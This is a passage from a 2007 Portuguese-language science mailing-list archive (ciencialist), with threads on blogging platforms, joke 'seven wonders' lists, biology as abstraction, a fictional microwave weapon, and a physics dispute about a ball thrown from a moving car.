Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão





SUBJECT: Re: [ciencialist] Re: off-topic - Website (serviço)
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 15:48

O sistema do Wordpress eh muito bom.
Soh a hospedagem fornecida por eles nao permite anuncios. Ou seja, nao
dah pra colocar o famoso Adsense e tirar alguns centavos de dolar. :-)

Eu uso o Wordpress em meus sites. Ah... agora abri um novo, em ingreis.

http://www.sciencehumor.org

http://www.sciencehumor.org/2007/creationism-cage/ (esse fez sucesso)


Falando em blog... serah que o Feira de ciencias nao poderia ter um
blog em Wordpress? Seria BEM interessante pra divulgar rapidamente as
novidades no site. O Feira eh gigantesco, pra 'se perder' nele eh
facinho.

Manuel, se decidir ter dominio proprio (.com ou parecido) e hospedagem
propria, eh soh avisar que passo todas as dicas.

Ateh
Luis Brudna
http://www.gluon.com.br

=-=-=-=

On 7/6/07, Robespierre B. Gonçalves <robespierre.goncalves@gmail.com> wrote:
>
>
> Manuel,
>
> Se é somente para divulgar textos e msgs, sugiro criar um blog.
> Eu uso o serviço de criação de blogs do Wordpress (www.wordpress.com),
> gratuito e que não precisa ter nenhum conhecimento técnico de web.
>
> []s,
>
> Pierre
> www.technewsbr.wordpress.com
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> <manuelbulcao@...> escreveu
> >
> > Oi,
> >
> > Estou querendo montar uma Website, para divulgar meus livrinhos,
> meus
> > textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> > porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
> >
> > Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
> >
> > Abraço,
> > Manuel Bulcão
> >
>


SUBJECT: Re: [ciencialist] Re: off-topic - Website (serviço)
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 16:02

Eu uso o Wordpress no blog da nossa empresa, mas continuo usando o Blogger
no meu blog particular. Acho que é bom saber um pouquinho dos dois, mas, no
geral, prefiro o Blogger, que ficou bem melhor depois de ter sido comprado
pelo Google.

A propósito, um blog do Feira de Ciências seria interessante.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Luis Brudna" <luisbrudna@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 3:48 PM
Subject: Re: [ciencialist] Re: off-topic - Website (serviço)


O sistema do Wordpress eh muito bom.
Soh a hospedagem fornecida por eles nao permite anuncios. Ou seja, nao
dah pra colocar o famoso Adsense e tirar alguns centavos de dolar. :-)

Eu uso o Wordpress em meus sites. Ah... agora abri um novo, em ingreis.

http://www.sciencehumor.org

http://www.sciencehumor.org/2007/creationism-cage/ (esse fez sucesso)


Falando em blog... serah que o Feira de ciencias nao poderia ter um
blog em Wordpress? Seria BEM interessante pra divulgar rapidamente as
novidades no site. O Feira eh gigantesco, pra 'se perder' nele eh
facinho.

Manuel, se decidir ter dominio proprio (.com ou parecido) e hospedagem
propria, eh soh avisar que passo todas as dicas.

Ateh
Luis Brudna
http://www.gluon.com.br

=-=-=-=

On 7/6/07, Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
wrote:
>
>
> Manuel,
>
> Se é somente para divulgar textos e msgs, sugiro criar um blog.
> Eu uso o serviço de criação de blogs do Wordpress (www.wordpress.com),
> gratuito e que não precisa ter nenhum conhecimento técnico de web.
>
> []s,
>
> Pierre
> www.technewsbr.wordpress.com
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> <manuelbulcao@...> escreveu
> >
> > Oi,
> >
> > Estou querendo montar uma Website, para divulgar meus livrinhos,
> meus
> > textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> > porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
> >
> > Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
> >
> > Abraço,
> > Manuel Bulcão
> >
>



SUBJECT: Re: [ciencialist] Re: off-topic - Website (serviço)
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 16:23

Demorou :)
Sugiro usar o Zoundry www.*zoundry*.com/, que é um programa muito fácil de
aprender e usar, ou então fazer o blog no BLogspot mesmo (www.blogspot.com),
que lhe oferece ótimos recursos.

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 16:23

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Postei um texto no meu blog sobre o assunto das "sete novas
> maravilhas":

Esse pessoal adora uma lista...

http://www1.folha.uol.com.br/folha/ilustrada/ult90u308740.shtml

A minha lista das sete maravilhas do mundo moderno (nesta semana):

- Natália Guimarães
- Keira Knightley
- Jessica Alba
- Natalie Portman
- Flavia Alessandra
- Kerry Washington
- Liu Yifei

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] off-topic - Website (serviço)
FROM: "Fabricio Braga" <fabribraga@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 16:37

WordPress!

www.wordpress.com

[]s
Fabricio Braga
www.fabriciobraga.com.br


On 7/6/07, Manuel Bulcão <manuelbulcao@uol.com.br> wrote:
>
> Oi,
>
> Estou querendo montar uma Website, para divulgar meus livrinhos, meus
> textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
>
> Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
>
> Abraço,
> Manuel Bulcão
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: A sociedade como soma de indivíduos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 16:37

Já que é assim, lá vão as minhas sete maravilhas são:



Fernanda Victor Figueira

Beatriz Victor Figueira

Maria Clara Victor Figueira

Julia Victor Bresani

Marcelo Victor Bresani de Oliveira

Marcelo Victor B. de Oliveira

Maria Nazareth Braga de Oliveira.



E tem a oitava maravilha:

Eu!



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: sexta-feira, 6 de julho de 2007 16:24
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: A sociedade como soma de indivíduos



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "Alvaro Augusto \(U\)"
> Postei um texto no meu blog sobre o assunto das "sete novas
> maravilhas":

Esse pessoal adora uma lista...

http://www1.folha.uol.com.br/folha/ilustrada/ult90u308740.shtml

A minha lista das sete maravilhas do mundo moderno (nesta semana):

- Natália Guimarães
- Keira Knightley
- Jessica Alba
- Natalie Portman
- Flavia Alessandra
- Kerry Washington
- Liu Yifei

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A sociedade como soma de indivíduos
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 17:05

Não confio em uma lista desse tipo que deixa Elisha Cuthbert de fora...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 4:23 PM
Subject: [ciencialist] Re: A sociedade como soma de indivíduos


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Postei um texto no meu blog sobre o assunto das "sete novas
> maravilhas":

Esse pessoal adora uma lista...

http://www1.folha.uol.com.br/folha/ilustrada/ult90u308740.shtml

A minha lista das sete maravilhas do mundo moderno (nesta semana):

- Natália Guimarães
- Keira Knightley
- Jessica Alba
- Natalie Portman
- Flavia Alessandra
- Kerry Washington
- Liu Yifei

[]s,

Roberto Takata




SUBJECT: Mind Hacks
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 17:12

Pessoal,

Sem querer fugir do assunto da lista (Se bem que fala de neurociência),
encontrei esse post falando sobre dois livros que apresentam técnicas de
como aumentar a performance do cérebro.
Será que vale a pena comprar esses livros ? Digo, essas técnicas são
comprovadas ? Ou são apenas auto-ajuda ?

Link para o post:
http://blog.ademar.org/2007/06/25/livros-mind-hacks-mind-performance-hacks/
Link para o primeiro livro:
http://www.amazon.com/Mind-Hacks-Tricks-Using-Brain/dp/0596007795/
Link para o segundo livro:
http://www.amazon.com/Mind-Performance-Hacks-Tools-Overclocking/dp/0596101538/


Abraços

--
Luiz Antonio Picanço
-----------
Programando na madrugada:
http://www.luizantonio.com
NeutrineGTD:
http://neutrinegtd.neutrine.com
Não Enche:
http://www.naoenche.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 17:57

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Não confio em uma lista desse tipo que deixa Elisha Cuthbert de
> fora...

Jack Bauer estah no Rio. Nao quero ser morto ateh amanha por ter
(tentado) me engracado com a filha dele.

[]s,

Roberto Takata



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 18:16

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Conclusão: Biologia não tem abstração! Em biologia, nada é simples!
> Biologia (ainda, e por bom tempo) não é ciência hard. Chegarão lá!

Opa! A teoria da evolução por seleção natural é altamente abstrata.
Pode ser usada até mm para construir algoritmos (algoritmos genéticos).

Os fatores mendelianos eram puramente abstratos até alguém se dar
conta de q se comportavam exatamente como os cromossomos na meiose.

De fato a Biologia não é ainda uma ciência hard, mas as bases da
Biomática (a Biologia como ciência exata) estão lançadas -
provavelmente faremos uso intensivo de grafos e outras "abstrações"
matemáticas.

Minha pequena contribuição para a abstração do q se refere a uma das
características mais marcantes dos sistemas vivos, a reprodução:

http://www.geocities.com/biomabrasil/auto-replicacao.html

[]s,

Roberto Takata



SUBJECT: Re: A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 19:33

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Esse pessoal adora uma lista...

Um grupo q não gostou da lista das novas maravilhas:

Vaticano reclama: Maravilhas do Mundo ignoram cristandade
http://blog.estadao.com.br/blog/guterman/?title=vaticano_reclama_maravilhas_do_mundo_ign&more=1&c=1&tb=1&pb=1

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 19:44

Um texto desses só é "aprovado" se publicado no Imperdível; essa coisa de blog é apenas um passo à frente da ' auto ajuda'!
"Venha a mim os "pequeninos', porque deles será o reino do Léo".
Não sei porque vcs querem um blog para o Imperdível; o Imperdível é ... e sempre será ...o Imperdível!
Sabem por que?
É simples, não tem propaganda e nem fins comerciais, não tem estrutura complexa, é modesto, de qqer página vc pode se transferir para outra Sala, não mente, não é polêmico sarcástico, é básico, é puro em seus propósitos, aceita correções, aceita comentários (e os publica), é produto de anos de janela em salas de aulas, é produto de alguém que se preocupa com o professor atual e seus conhecimentos básicos, é conceitual, apresenta projetos que todas as escolas deveriam ter, é espontâneo, é assim! ... basta consultá-lo periodicamente e observar quanto tempo diário dedico a isso, sem qqer esperança de retorno 'político', 'governamental' ou algo do gênero para alavancar uma alteração no quadro atual. Nossa educação atual está uma bosta ... saliento, uma bosta ... e acho que só pode piorar! Como?, virar diarréia?
No futuro, meu site (if existir) será consultado como 'saudosismo' do "tempo que era assim" e dirão ... "naquele tempo, vejam que absurdo, eles queriam que nós fizéssemos alguns montagens em casa para verificar alguns efeito básicos de física clássica, nem tinham idéia dos hologramas 'sólidos' dos tempos atuais ... acho que não perceberam o médico do 'Voyager'(?) dos tempos da ficção científica das Jornadas das Estrelas" ... "Imaginem só, eles chegaram a acreditar na física quântica, do mesmo modo quando, no paleolítico, acreditaram no calórico."

Quem viver verá ....

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 18:16
Assunto: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Conclusão: Biologia não tem abstração! Em biologia, nada é simples!
> Biologia (ainda, e por bom tempo) não é ciência hard. Chegarão lá!

Opa! A teoria da evolução por seleção natural é altamente abstrata.
Pode ser usada até mm para construir algoritmos (algoritmos genéticos).

Os fatores mendelianos eram puramente abstratos até alguém se dar
conta de q se comportavam exatamente como os cromossomos na meiose.

De fato a Biologia não é ainda uma ciência hard, mas as bases da
Biomática (a Biologia como ciência exata) estão lançadas -
provavelmente faremos uso intensivo de grafos e outras "abstrações"
matemáticas.

Minha pequena contribuição para a abstração do q se refere a uma das
características mais marcantes dos sistemas vivos, a reprodução:

http://www.geocities.com/biomabrasil/auto-replicacao.html

[]s,

Roberto Takata



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SUBJECT: armas do futuro
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 20:00

Ol


SUBJECT: armas do futuro
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 20:09

Olá a todos!
Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
baseada em princípos eletromagnéticos.
Vejam como era seu funcionamento: Ela gerava um grande campo
eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
frequência as ondas são absorvidas por gordura, água e açucar. Essa
mesma idéia é a base dos microondas caseiros, que esquentam somente a
comida (gordura + água), não atuando nos movimentos da moléculas
(temperatura) do recipiente.
No seriado a arma foi usada dentro de uma igreja. As pessoas que
estavam em seu interior foram literalmente "fritas". A igreja não
sofreu nunhum arranhão e ficou intacta.

A pegunta éa seguinte: É possível gerar um campo numa frequência
programada dessa magnitude? Quais são as limitações para que isso
ocorra? É possível que, futuramente, existam armas baseadas em
conceitos aqui descritos?

Um abraço,

Emanuel Valente.

obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
navegador safari"


SUBJECT: Re: [ciencialist] Re: A sociedade como soma de indivíduos
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 20:16

Deixei lá meu modesto comentário:

http://blog.estadao.com.br/blog/guterman/?blog=33&c=1&page=1&more=1&title=vaticano_reclama_maravilhas_do_mundo_ign&tb=1&pb=1&disp=single

E já está on-line ... vejamos as pedradas!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 19:33
Assunto: [ciencialist] Re: A sociedade como soma de indivíduos


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Esse pessoal adora uma lista...

Um grupo q não gostou da lista das novas maravilhas:

Vaticano reclama: Maravilhas do Mundo ignoram cristandade
http://blog.estadao.com.br/blog/guterman/?title=vaticano_reclama_maravilhas_do_mundo_ign&more=1&c=1&tb=1&pb=1

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] off-topic - Website (serviço)
FROM: "Emanuel Valente" <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 20:20

Olá, apoio a idéia de criar um blog para o feira de ciências.
Tenho um servidor dedicado em Miami para uso profissional e pessoal (
epaduel.org). Caso queiram, além do blog, hospedar alguns papers ou
materiais de estudo, posso dar uma ajuda e disponibilizar storage.

abraços,
Emanuel Valente.

On 7/6/07, Fabricio Braga <fabribraga@gmail.com> wrote:
>
> WordPress!
>
> www.wordpress.com
>
> []s
> Fabricio Braga
> www.fabriciobraga.com.br
>
> On 7/6/07, Manuel Bulcão <manuelbulcao@uol.com.br<manuelbulcao%40uol.com.br>>
> wrote:
> >
> > Oi,
> >
> > Estou querendo montar uma Website, para divulgar meus livrinhos, meus
> > textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> > porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
> >
> > Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
> >
> > Abraço,
> > Manuel Bulcão
> >
> >
> >
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] armas do futuro
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 20:31

Microondas, tipo forno de microondas, é um sistema confinado, pequeno e modesto, e necessita de uma válvula 'klinston' e guia de ondas para atuar sobre aquele minúsculo sistema fechado. Além disso, as ondas têm freqüência fixa para 'modular' a molécula da água sendo, portanto, inativas às demais moléculas.
"Fritar" um corpo humano, via microondas, é realmente uma ficção; a abertura da faixa de atuação é enorme! Além do que, a potência de tal dispositivo, num volume tão amplo (igreja), é algo bem distante da tecnologia dos microondas.
Se bem que, se aplicado numa igreja, as divindades protetoras (deuses) iriam, rapidamente, envolver os fiéis num campo de contenção (escudos divinos) e eles nada sofreriam. A fé os protegeriam de todos esses ataques da produção científica (hic!). Que tal? Gostou?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Emanuel Valente" <emanuelvalente@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 20:09
Assunto: [ciencialist] armas do futuro


Olá a todos!
Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
baseada em princípos eletromagnéticos.
Vejam como era seu funcionamento: Ela gerava um grande campo
eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
frequência as ondas são absorvidas por gordura, água e açucar. Essa
mesma idéia é a base dos microondas caseiros, que esquentam somente a
comida (gordura + água), não atuando nos movimentos da moléculas
(temperatura) do recipiente.
No seriado a arma foi usada dentro de uma igreja. As pessoas que
estavam em seu interior foram literalmente "fritas". A igreja não
sofreu nunhum arranhão e ficou intacta.

A pegunta éa seguinte: É possível gerar um campo numa frequência
programada dessa magnitude? Quais são as limitações para que isso
ocorra? É possível que, futuramente, existam armas baseadas em
conceitos aqui descritos?

Um abraço,

Emanuel Valente.

obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
navegador safari"


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SUBJECT: Re: [ciencialist] Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 20:37

Xiii, Takata, parece que vc se confundiu de novo!
Repetiu uma afirmação para a qual eu já tinha lhe chamado atenção de que
está errada... Veja comentários abaixo, após JR - .
.........................................................

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> textos não lembrados - tentei chamar atenção de que a força do vento
> é uma possibilidade real e concreta considerando nossa experiência e
> conhecimento.

Não é. O vento, como mostrei através dos cálculos, NÃO pode ser
significativo - porq isso levaria a uma trajetória TOTALMENTE diferente.
JR - E não é mesmo tão significativo, como podemos ver pela pequena
inclinação ou amplitude do primeiro trecho de descida da bola, após o
lançamento. O que afirmo é que, certamente, o empuxo do vento sobre a bola
ocorre nesse evento.

A nossa experiência e conhecimento indicam q uma caminhoneta a 100
km/h NÃO produz ventos de 64 km/h...
JR - Por que, não? Se o carro se desloca a 100km/h, há probabilidade de que
alguma parte do ar deslocado por ele alcance velocidades até próxima desse
valor.

Pra vc ter uma noção do q é um vento assim:
http://youtube.com/watch?v=zKQv07bwk5s
http://youtube.com/watch?v=R8yA6WsJ6bE
JR - !?

Além disso, um objeto q tem aceleração horizontal e vertical cai em
diagonal reta e não em arco de parábola.
JR - É sim, Tanaka! Pois a aceleração gravitacional é que gera a equação de
segundo grau de uma trajetória parabólica. Nesse caso do carro-bola tanto o
movimento vertical como o horizontal são compostos por acelerações: a
gravitacional por queda-livre e a do empuxo do ar, que tem uma aceleração
variável ou uma desaceleração a partir do lançamento. Seriam retas se não
houvesse componentes de aceleração em direções diversas. Seria o caso de uma
bola em "repouso" largada na vertical, sem qualquer componente em outra
direção, a não ser a gravidade.

[]s,
Roberto Takata

[]s
José Renato
....................................................................

From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 12:34 AM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100km/h de
umcarroa100km/h:osresultados

Caro, Takata! Em todos os textos pinçados por vc abaixo - e nos demais
textos não lembrados - tentei chamar atenção de que a força do vento é uma
possibilidade real e concreta considerando nossa experiência e conhecimento.
Isso está dito desde o primeiro e-mail que escrevi sobre esse assunto, veja:

[ From: "José Renato" <jrma@terra.com.br>
Sent: Monday, June 18, 2007 10:32 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h:
osresultados
Teoricamente a bola deveria cair em queda livre no piso da pista.
No vídeo ela se desloca um pouco na direção em que o carro está indo...
Acompanha ainda que parcialmente o movimento do carro de onde foi lançada,
provavelmente devido ao "vácuo" provocado pelo deslocamento do carro no
ar. ]

Isso quer dizer que o empuxo do ar deslocado pelo carro provoca o primeiro
semi-arco na mesma direção e sentido e, conseqüentemente, os demais arcos.
Alertei também de que o empuxo do ar acelera horizontalmente a bola durante
alguns instantes. O que ficou aberto a conjecturas foi a *amplitude dos
arcos* após a bola tocar na pista pela primeira vez, que não pode ser
explicada apenas pela aceleração promovida pelo empuxo do ar.
Afirmei também na mensage/63993 que [ O posicionamento da bola e das rodas
do carro na foto são extremamente irregulares, o que certamente não reflete
o movimento real de ambos. ] visto que os pontos plotados revela um
movimento incompatível com uma trajetória normal e eu não os consideraria
como pontos "reais" da provável trajetória da bola.
Faço outros comentários no texto abaixo, após JR2 - .
................................................................................

"A força do vento deslocado pelo carro, *acelera* a bola na horizontal
e explica o aumento dos arcos das parábolas após o lançamento da bola.
O posicionamento da bola e das rodas do carro na foto são extremamente
irregulares, o que certamente não reflete o movimento real de ambos.
" ['aumento' e 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/63993

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, July 04, 2007 10:35 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um
carroa100km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Em outras palavras já afirmei que até o primeiro quique o
> empuxo do deslocamento do ar é compatível com a inclinação da
> trajetória da bola para a esquerda. Após bater no solo pela primeira
> vez a bola é acelerada horizontalmente para a esquerda por motivos
> apenas conjeturados.

Vc não falou isso inicialmente:
"A força do vento deslocado pelo carro, *acelera* a bola na horizontal
e explica o aumento dos arcos das parábolas após o lançamento da
bola." ['aumento' e 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/63993


"JR1 - Como já expliquei anteriormente o empuxo do vento na bola é
mais forte quando ela é lançada, mas o empuxo só passa a atuar
efetivamente *após o lançamento* a partir do qual o efeito de
aceleração aumenta a velocidade da bola na horizontal a cada instante.
Dá para entender que assim a bola acelera e os arcos ficam mais
abertos..." [de novo 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/64034

"JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um dos dois dados fundamentais do problema já não é
importante... A inclinação da bola para a esquerda já é visível na
primeira trajetória após o lançamento. Essa força de empuxo horizontal
somada à componente vertical gravitacional promove o deslocamento mais
acentuado após quicar no chão." ['empuxo horizontal', 'após o quicar
no chão']
http://br.groups.yahoo.com/group/ciencialist/message/64091

> E simplesmente não há a menor possibilidade de outros componentes
> desacelerarem a bola no terceiro trecho - porq ele se dá totalmente
> no *ar*! A bola teria ser brecada pelo ar. Oras, se ela sofrer uma
> desaceleração de 5 m/s2 por causa do ar, não poderia ter acelerado a
> 3m/s2 no segundo trecho - a menos q tenha passado um tufão de
> 106,949978 km/h q acelerasse a bola a 8 m/s2.

> JR - Essa afirmação poderia ser consistente se a filmagem fosse
> especial,

Não há necessidade alguma de filmagem especial. A afirmação é baseada
nos cálculos produzidos a partir da imagem. As medidas da trajetória
(e os valores das constantes gravitacional, aerodinâmicas da bola e do
ar) são suficientes para se ter essa noção.
JR2 - Como vc mesmo pode ver os pontos plotados são irregulares, não
confiáveis para uma conclusão consistente.

A menos é claro q, com uma filmagem especial, possamos provar q a
trajetória da bola do ápice de uma subida até antes de tocar o chão
NÃO se dá totalmente no ar. O q seria uma possibilidade altamente
improvável.
JR2 - ?!

> Novamente, o vento NÃO pode ser um fator significativo para o
> movimento da bola. Se fosse, a trajetória teria q ser MUITO
> DIFERENTE.
> JR - Ficaria mais inteligível especificando os trechos...

Eu especifiquei como primeiro trecho, segundo trecho...
JR2 - Não especificou, não. Veja seu comentário à minha afirmação:

[ JR - Quanto à aceleração horizontal obtida pela bola após quicar no chão
pela primeira vez, já afirmei que não é determinada por esse empuxo do
deslocamento do ar provocado pelo carro a 100km/h.
RT - Nem do primeiro quique, nem do segundo, nem do terceiro... O vento
simplesmente não pode ter influência significativa sobre o movimento da bola
sob pena de ser incompatível com a trajetória. ]

JR2 - Vc fala em quique e não em trecho... E volta a alertar que não me
parece aceitável desconsiderar o empuxo provocado pelo deslocamento do ar
pelo carro sobre a bola na mesma direção e sentido. O empuxo do ar sobre a
bola, sem qualquer dúvida, existe no evento apresentado no vídeo.
...

O primeiro trecho é o da bola caindo de uma altura de cerca de 1,20m
logo após lançada da caminhoneta até logo antes de tocar no chão pela
primeira vez. O segundo trecho é o da bola logo depois de tocar no
chão pela primeira vez até o ápice da parábola q descreve (a cerca de
0,69m do chão). O terceiro trecho é o da bola do ápice dessa parábola
até logo antes de tocar o chão pela segunda vez e assim por diante.
JR2 - Agora, sim, vc fala em trecho, após ter falado em quique e eu ter lhe
alertado que ficaria mais inteligível se fossem identificados os trechos nas
análises.

Eu até deixei a figura disponível para visualização:
http://br.groups.yahoo.com/group/ciencialist/files/ball4.jpg
JR2 - Já não está disponível...
Vale observar, Takata, que isso não é uma competição para ver quem consegue
descobrir o que provoca - de fato - a aceleração horizontal da bola. Tirando
o empuxo provocado pelo ar, as demais possibilidades ficam na área das
conjecturas, sendo que as mais votadas são: rotação da bola, pedregulho ou
irregularidade na pista.

[]s,
Roberto Takata

[]s
José Renato



SUBJECT: Re: [ciencialist] Lógica e falha do raciocínio
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 21:10

Tipo, mesmo usando as ferramentas da Lógica vc não vai obter a verdade, mas
sim, algo que representa ou traduz a verdade para as nossas diversas
linguagens.
Observo um costume muito difundido entre nós quando deparamos com a
necessidade de optar. Em geral, temos a tendência de optar entre um *ou*
outro, quando grande parte das escolhas podem ser feitas entre um *e* outro.
[]s
José Renato
.....................................

----- Original Message -----
From: "Tipoalgo" <tipoalgo@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 7:53 AM
Subject: [ciencialist] Lógica e falha do raciocínio


Olá a todos!

Um pouco de Lógica a ninguém deveria fazer mal. Bom se verdade fosse!

Abraços
Tipoalgo


http://tecnociencia.jor.br
Lógica e
falha do
raciocínio

Lógica e falha do raciocínio
Autor: Jeferson Luís da Silva
http://jsilva.tecnociencia.jor.br
Motivado em compreender a dinâmica do raciocínio humano e identificar
falhas e acertos em
nossa percepção o filósofo Aristóteles no século IV antes de Cristo
foi o primeiro a elaborar uma
metodologia com regras rígidas para identificar argumentos certos e
errados e distinguir
interferências no raciocínio, validando o pensamento organizado.
